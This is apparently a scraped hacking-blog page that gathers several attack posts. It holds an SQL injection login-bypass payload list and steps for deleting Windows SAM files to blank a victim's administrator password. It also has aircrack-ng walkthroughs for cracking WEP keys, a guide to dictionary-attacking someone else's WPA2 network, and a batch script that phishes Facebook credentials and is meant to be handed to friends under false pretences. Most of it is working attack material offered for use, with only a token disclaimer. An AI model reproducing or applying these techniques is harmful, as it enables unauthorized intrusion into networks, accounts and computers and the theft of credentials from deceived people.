SQL Injection Authentication Bypass Cheat Sheet

This list can be used by #penetration #testers when testing for SQL injection authentication bypass.A penetration tester can use it manually or through burp in order to automate the process.The creator of this list is Dr. Emin İslam TatlıIf (OWASP Board Member).If you have any other suggestions please feel free to leave a comment in order to improve and expand the list.

or 1=1

or 1=1--

or 1=1#

or 1=1/*

admin' --

admin' #

admin'/*

admin' or '1'='1

admin' or '1'='1'--

admin' or '1'='1'#

admin' or '1'='1'/*

admin'or 1=1 or ''='

admin' or 1=1

admin' or 1=1--

admin' or 1=1#

admin' or 1=1/*

admin') or ('1'='1

admin') or ('1'='1'--

admin') or ('1'='1'#

admin') or ('1'='1'/*

admin') or '1'='1

admin') or '1'='1'--

admin') or '1'='1'#

admin') or '1'='1'/*

1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

admin" --

admin" #

admin"/*

admin" or "1"="1

admin" or "1"="1"--

admin" or "1"="1"#

admin" or "1"="1"/*

admin"or 1=1 or ""="

admin" or 1=1

admin" or 1=1--

admin" or 1=1#

admin" or 1=1/*

admin") or ("1"="1

admin") or ("1"="1"--

admin") or ("1"="1"#

admin") or ("1"="1"/*

admin") or "1"="1

admin") or "1"="1"--

admin") or "1"="1"#

admin") or "1"="1"/*

1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055



Source : https://pentestlab.wordpress.com/page/34/

Read more

World Best Android Device Rooting Software Free Download

Root Genius - Simple, Fast

Powerful

 Support more than 10,000 Android phones, without installation.

 

Easy To Use

Connect, root, and done!

 

 After rooted, you can...

Flash custom ROMs to personalize your phone. 
Manage auto-runs to speed up your system. 
Uninstall built-in apps to release memory space...

Root Genius

If you've been tired of your unsuitable Android phone. Root it, change it. And with Root Genius, all you need to do is connect your phone, then one click.

The Team

Developing applications exclusively for phone geekers. They're a Chinese team, dedicated to exciting possibilities on the Android phones and the awesome mobile internet, in Shenzhen.

Read more

"Delete Administrator Password" Without Any Software

Method 1 
Boot up with DOS and delete the sam.exe and sam.log files from Windows\system32\config in your hard drive. Now when you boot up in NT the password on your built-in administrator account which will be blank (i.e No password). This solution works only if your hard drive is FAT kind. 

Method 2
Step 1. Put your hard disk of your computer in any other pc .
Step 2. Boot that computer and use your hard disk as a secondary hard disk (D'nt boot as primary hard disk ). Step 3. Then open that drive in which the victim’s window(or your window) is installed.
Step 4. Go to location windows->system32->config
Step 5. And delete SAM.exe and SAM.log
Step 6. Now remove hard disk and put in your computer.
Step 7. And boot your computer

Read more

HOW TO HACK WiFi NETWORK

Note : Only For Educational Purpose!!!
1) First we need to scan for available wireless networks.

Theres this great tool for windows to do this.. called “NetStumbler” or "Kismet"
for Windows and Linux and "KisMac" for Mac.

The two most common encryption types are:
1) WEP
2) WAP

WEP i.e Wire Equivalent Privacy is not considers as safe as WAP
i.e Wireless Application Protocol.

WEP have many flaws that allows a hacker to crack a WEP key easily..

whereas

WAP is currently the most secure and best option to secure a WiFi network..

It can’t be easily cracked as WEP because the only way to retrieve a WAP key
is to use a brute-force attack or dictionary attack.

Here I’ll tell you how to Crack WEP

To crack WEP we will be using Live Linux distribution called Backtrack to
crack WEP.

Backtrack have lots of pre-installed softwares for this very purpose..

The tools we will be using on Backtrack are:

Kismet – a wireless network detector
airodump – captures packets from a wireless router
aireplay – forges ARP requests
aircrack – de-crypts the WEP keys

1) First of all we have to find a wireless access point along with its bssid, essid
and channel number. To do this we will run kismet by opening up the terminal
and typing in kismet. It may ask you for the appropriate adapter which in my
case is ath0.You can see your device’s name by typing in the command
iwconfig.

2) To be able to do some of the later things, your wireless adapter must be put
into monitor mode. Kismet automatically does this and as long as you keep it
open, your wireless adapter will stay in monitor mode.

3) In kismet you will see the flags Y/N/0. Each one stands for a different type
of encryption. In our case we will be looking for access points with the WEP
encryption. Y=WEP N=OPEN 0=OTHER (usually WAP).

4) Once you find an access point, open a text document and paste in the
networks broadcast name (essid), its mac address (bssid) and its channel
number. To get the above information, use the arrow keys to select an access
point and hit <ENTER> to get more information about it.

5) The next step is to start collecting data from the access point with
airodump. Open up a new terminal and start airodump by typing in the
command:

airodump-ng -c [channel#] -w [filename] –bssid [bssid] [device]

In the above command airodump-ng starts the program, the channel of your
access point goes after -c , the file you wish to output the data goes after -w ,
and the MAC address of the access point goes after –bssid. The command ends
with the device name. Make sure to leave out the brackets.

6) Leave the above running and open another terminal. Next we will generate
some fake packets to the target access point so that the speed of the data
output will increase. Put in the following command:

aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:55:66 -e [essid] [device]

In the above command we are using the airplay-ng program. The -1 tells the
program the specific attack we wish to use which in this case is fake
authentication with the access point. The 0 cites the delay between attacks, -a
is the MAC address of the target access point, -h is your wireless adapters MAC
address, -e is the name (essid) of the target access point, and the command
ends with the your wireless adapters device name.

7) Now, we will force the target access point to send out a huge amount of
packets that we will be able to take advantage of by using them to attempt to
crack the WEP key. Once the following command is executed, check your
airodump-ng terminal and you should see the ARP packet count to start to
increase. The command is:

aireplay-ng -3 -b [bssid] -h 00:11:22:33:44:5:66 [device]

In this command, the -3 tells the program the specific type of attack which in
this case is packet injection, -b is the MAC address of the target access point, -h
is your wireless adapters MAC address, and the wireless adapter device name
goes at the end.

Once you have collected around 50k-500k packets, you may begin the
attempt to break the WEP key. The command to begin the cracking process is:

aircrack-ng -a 1 -b [bssid] -n 128 [filename].ivs

In this command the -a 1 forces the program into the WEP attack mode, the -b
is the targets MAC address, and the -n 128 tells the program the WEP key
length. If you don’t know the -n , then leave it out. This should crack the WEP
key within seconds. The more packets you capture, the bigger chance you
have of cracking the WEP key.

Read more

SIMPLE WI-FI WEP CRACK [TUTORIAL]

Overview

To crack the WEP key for an

access point, we need to 

gather lots of initialization


vectors (IVs). Normal network traffic does not typically 

generate these IVs very quickly. Theoretically, if you are 

patient, you can gather sufficient IVs to crack the WEP key 

by simply listening to the network traffic and saving them. 

Since none of us are patient, we use a technique called 

injection to speed up the process. Injection involves having 

the access point (AP) resend selected packets over and

over very rapidly. This allows us to capture a large number 

of IVs in a short period of time.

Equipments used

WiFi Adapter : Alfa AWUS036H (available on eBay & 

Amazon)

Software : Backtrack 5R3 (Free download 

from http://www.backtrack-linux.org)

Step 1 – Start the wireless interface in monitor mode on AP channel

airmon-ng start wlan1 6

starts wifi interface in channel 6

Step 2 – Test Wireless Device Packet Injection

aireplay-ng -6 -e infosec -a 00:1B:11:24:27:2E  wlan1

-9 means injection

-a 00:1B:11:24:27:2E is the access point MAC address

Step 3 – Start airodump-ng to capture the IVs

airodump-ng -c 6 –bssid 00:1B:11:24:27:2E -w output wlan1

Step 4 – Use aireplay-ng to do a fake authentication with the access point

In order for an access point to accept a packet, the source 

MAC address must already be associated. If the source 

MAC address you are injecting is not associated then the AP 

ignores the packet and sends out a “DeAuthentication” 

packet in cleartext. In this state, no new IVs are created 

because the AP is ignoring all the injected packets.

aireplay-ng -1 0 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1

-1 means fake authentication

0 reassociation timing in seconds

-e infosec is the wireless network name

-a 00:14:6C:7E:40:80 is the access point MAC address

-h 00:0F:B5:88:AC:82 is our card MAC address

OR

aireplay-ng -1 2 -o 1 -q 10 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1

2 – Reauthenticate every 2 seconds.

-o 1 – Send only one set of packets at a time. Default is multiple and this confuses some APs.

-q 10 – Send keep alive packets every 10 seconds.

Troubleshooting Tips

Some access points are configured to only allow selected 

MAC addresses to associate and connect. If this is the case, 

you will not be able to successfully do fake authentication 

unless you know one of the MAC addresses on the allowed 

list. If you suspect this is the problem, use the following 

command while trying to do fake authentication. Start 

another session and…

Run: tcpdump -n -vvv -s0 -e -i | grep -i -E ”(RA:|Authentication|ssoc)”

You would then look for error messages.

If at any time you wish to confirm you are properly 

associated is to use tcpdump and look at the packets. Start 

another session and…

Run: “tcpdump -n -e -s0 -vvv -i wlan1”

Here is a typical tcpdump error message you are looking for:

11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 

DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80   

DeAuthentication: Class 3 frame received from 

nonassociated station.

Notice that the access point (00:14:6c:7e:40:80) is telling 

the source (00:0F:B5:88:AC:82) you are not associated. 

Meaning, the AP will not process or accept the injected 

packets.

If you want to select only the DeAuth packets with tcpdump 

then you can use: “tcpdump -n -e -s0 -vvv -i wlan1 | grep -i 

DeAuth”. You may need to tweak the phrase “DeAuth” to

pick out the exact packets you want.

Step 5 – Start aireplay-ng in ARP request replay mode

aireplay-ng -3 -b 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1

Step 6 – Run aircrack-ng to obtain the WEP key

aircrack-ng -b 00:1B:11:24:27:2E output*.cap

All Done! 

Read more

How to Crack a Wpa2-Psk Password with Windows

------------------------------------------------------------------------------------


If you search on YouTube you will find a lots of tutorial to how to hack a WiFi password using Backtrack. However, Backtrack OS is not most handy OS for normal users. Yesterday one Facebook follower asked us how to hack WiFi. We do our best to enjoy the hacking that's why today I am going to show you how to a crack a Wpa2-psk password with windows machine.

I. Software Requirement for this lab:

1. CommView for Wifi:
http://download.cnet.com/CommView-for-WiFi/3000-2085_4-10218782.html

2. Elcomsoft Wireless Security Auditor:
http://www.elcomsoft.com/ewsa.html

Currently I am connected to my own wifi network Virusfound and i want to hack the password of Ultimate that is secured with Wpa2-psk encryption.

II. First you need to capture the Wpa2, four-way handsake with CommView:

1. Open commView and click on the Start option.

2. Click on the capture option to start the capture.

3. It will show you all available AP. Click on the Tools > Select the Node Reassoication option ( if Node Rassociation is not working , then use WiFi Alfa card ).

4. Select your target AP in the Send a deauthentication request from this AP option. It will show you all available client option.

5. Click on the Send Now option to send the packet for 4-way authentication. Wait some time - it will capture the packet.

6. Click on the Save option and choose your file format Commview Capture Files (*.ncf).

7. Your capture work is done.

III. Now open Elcomsoft Wireless Security Auditor to crack your wifi password:

1. Click on the Import Data tab > select the Import CommView Log option.

2. It will show you information about AP and Multiple Handshake selection information. Click on Ok.

3. Click on the Start attack option and select the Dictionary Attack option. However, your other attack's options are also available.

4. Within minutes it will find your password and it will show you the password.


Enjoy hacking WiFi with Windows machine!


For more>>
Backtrack Complete Guide to hack WiFi>>

Read more

Facebook Phishing Using A USB Drive

Here is a simple trick to get the Email and Password of a person via a USB drive with some social engineering.

1. Open Notepad and Paste the following code and leave a blank line after the code.

TITLE FBChat
ECHO OFF
COLOR 03
CLS
ECHO.
ECHO LOGIN TO START CHATTING ON FACEBOOK
ECHO.
ECHO Please Enter Your Email:
SET/P "MAIL=>"
ECHO.
ECHO Enter The Password:
SET/P "PSWD=>"
ECHO EMAIL = %MAIL%>>FBChat.bat
ECHO PASSWORD = %PSWD%>>FBChat.bat
CLS
TIMEOUT /T 5 >NUL
COLOR 0C
ECHO.
ECHO An Error Occurred While Connecting To The Server. Try Again Later.
PAUSE>NUL
EXIT

---------- Below this line are the collected information ----------

2. Save the code as FBChat.bat exactly. Do not name it anything else or it won't work.

3. Put the batch file into a USB drive and give it to your friend.
    When you get back the USB drive, Right Click the batch file and select Edit. Now scroll down and you will see the information collected!

       With some social engineering the trick can be very efficient. Before trying this trick out you can tell the victim you are making a cool software and it will be finished soon. Then give the batch file telling him that is the software you made. Try to be convincing and do not let him/her smell a rat! I have tried this trick on some of my friends with 100 percent success. Give it a try yourself!
   
You Can Download This File By Clicking Below Link :

Click Here To Download File.

How To Use :

1.

Step 1 : Get eMail & Password

2.

Step 2 : After 5 sec. you got this error message & press enter. (The file will automatically closed.)

3.

Step 3 : Right click on file & click on Edit to edit file.

4.

Step 4 : Goto the end of the document and there is the eMail & password of victim, as shown in the picture.

We are sorry for not displaying the images of the phishing trick, because we have received notice from the Cyber Crime Department Of US.

Read more